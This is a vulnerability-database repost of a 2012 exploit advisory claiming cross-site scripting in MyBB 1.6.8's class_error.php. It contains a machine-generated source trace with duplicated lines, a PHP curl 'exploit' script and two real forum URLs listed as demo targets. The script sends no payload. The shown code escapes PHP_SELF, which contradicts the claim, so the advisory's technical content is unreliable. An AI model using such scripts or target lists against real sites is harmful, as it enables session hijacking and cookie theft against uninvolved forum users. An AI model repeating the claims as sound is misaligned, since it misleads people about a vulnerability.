Vulners
Lucene search
MyBB 1.6.8 Cross Site Scripting
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Exploit Title : Mybb 1.6.8 Cross Site Scripting
Author : 3xpl0!t3r
Discovered By : Sec-Advisor.Org
Date : 12 Oct 2012
Home : http://Sec-Advisor.Org
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Source : http://www.mybb.com/download/latest
file : /inc/class_error.php
510: echo echo <<<EOF <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" > <head profile="http://gmpg.org/xfn/11"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>{$mybb->settings['bbname']} - Internal Error</title> <style type="text/css"> body { background: #efefef; color: #000; font-family: Verdana; font-size: 12px; text-align: center; line-height: 1.4; } a:link { color: #026CB1; text-decoration: none; } a:visited { color: #026CB1; text-decoration: none; } a:hover, a:active { color: #000; text-decoration: underline; } #container { width: 600px; padding: 20px; background: #fff; border: 1px solid #e4e4e4; margin: 100px auto; text-align: left; } h1 { margin: 0; background: url({$_SERVER['PHP_SELF']}?action=mybb_logo) no-repeat; height: 82px; width: 248px; } #content { border: 1px solid #B60101; background: #fff; } h2 { font-size: 12px; padding: 4px; background: #B60101; color: #fff; margin: 0; } .invisible { display: none; } #error { padding: 6px; } #footer { font-size: 11px; border-top: 1px solid #ccc; padding-top: 10px; } dt { font-weight: bold; } </style> </head> <body> <div id="container"> <div id="logo"> <h1><a href="http://mybb.com/" title="MyBulletinBoard"><span class="invisible">MyBB</span></a></h1> </div> <div id="content"> <h2>{$title}</h2> <div id="error"> {$error_message} <p id="footer">Please contact the <a href="http://mybb.com">MyBB Group</a> for support.</p> </div> </div> </div> </body> </html> EOF;
508: $_SERVER['PHP_SELF'] = htmlspecialchars_uni($_SERVER['PHP_SELF']);
406: $title = "MyBB Internal Error"; // if($type == MYBB_SQL) else ,
391: $title = "MyBB SQL Error"; // if($type == MYBB_SQL),
489: $error_message .= "</dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
487: $error_message .= "<dt>Backtrace:</dt><dd>{$backtrace}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($backtrace && !in_array($type, $this->mybb_error_types)),
481: $error_message .= "<dt>Code:</dt><dd>{$code}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)),
415: $error_message .= "<dt>Location:</dt><dd>File: {$file}<br />Line: {$line}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)),
412: $error_message .= "<dt>Error Message:</dt>\n<dd>{$message}</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
411: $error_message .= "<dt>Error Type:</dt>\n<dd>{$this->error_types[$type]} ($type)</dd>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
410: $error_message .= "<dl>\n"; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
407: $error_message = "<p>MyBB has experienced an internal error and cannot continue.</p>"; // if($type == MYBB_SQL) else ,
401: $error_message .= "</dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
399: $error_message .= "<dt>Query:</dt>\n<dd>{$message['query']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if($message != ""),
396: $error_message .= "<dt>SQL Error:</dt>\n<dd>{$message['error_no']} - {$message['error']}</dd>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
395: $error_message .= "<dl>\n"; // if($type == MYBB_SQL), if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
392: $error_message = "<p>MyBB has experienced an internal SQL error and cannot continue.</p>"; // if($type == MYBB_SQL),
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
380: ⇓ function output_error($type, $message, $file, $line)
478: $code = nl2br($code); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists) else ,
474: $code = $parser->mycode_parse_php ($code, true); // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if($parser_exists),
451: $code .= $line + 3 . ". " . $code_pre[$line+2]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),
446: $code .= $line + 2 . ". " . $code_pre[$line+1]; // if($type == MYBB_SQL) else , if($mybb->settings['errortypemedium'] == "both" || $mybb->settings['errortypemedium'] == "error" || defined("IN_INSTALL") || defined("IN_UPGRADE")), if(!empty($file)), if(!preg_match('#config\.php|settings\.php#', $file) && file_exists($file)), if(isset($code_pre)),
requires:
502: if(!headers_sent() && !defined("IN_INSTALL") && !defined("IN_UPGRADE"))
380: ⇓ function output_error($type, $message, $file, $line)
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vulnerability concept:
$_GET + echo() = Cross Site Scripting
vulnerability description:
An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.
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Exploit :
#!/usr/bin/php -f
<?php
#
# class_error.php curl exploit
#
//
// HTTP SERVER,
//
$target = $argv[1];
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch, CURLOPT_URL, "http://$target/mybb/inc/class_error.php");
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_LIMIT, 5);
curl_setopt($ch, CURLOPT_LOW_SPEED_TIME, 5);
curl_setopt($ch, CURLOPT_COOKIEJAR, "/tmp/cookie_$target");
$buf = curl_exec ($ch);
curl_close($ch);
unset($ch);
echo $buf;
?>
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D3m0 :
www.lurkerlounge.com/forums/inc/class_error.php
http://www.spyrax.net/forums/inc/class_error.php
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We are : 3xpl0!t3r | IR313 | ICA
Tnx Of : Nafsh
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15 Oct 2012 00:00Current
7.4High risk
Vulners AI Score7.4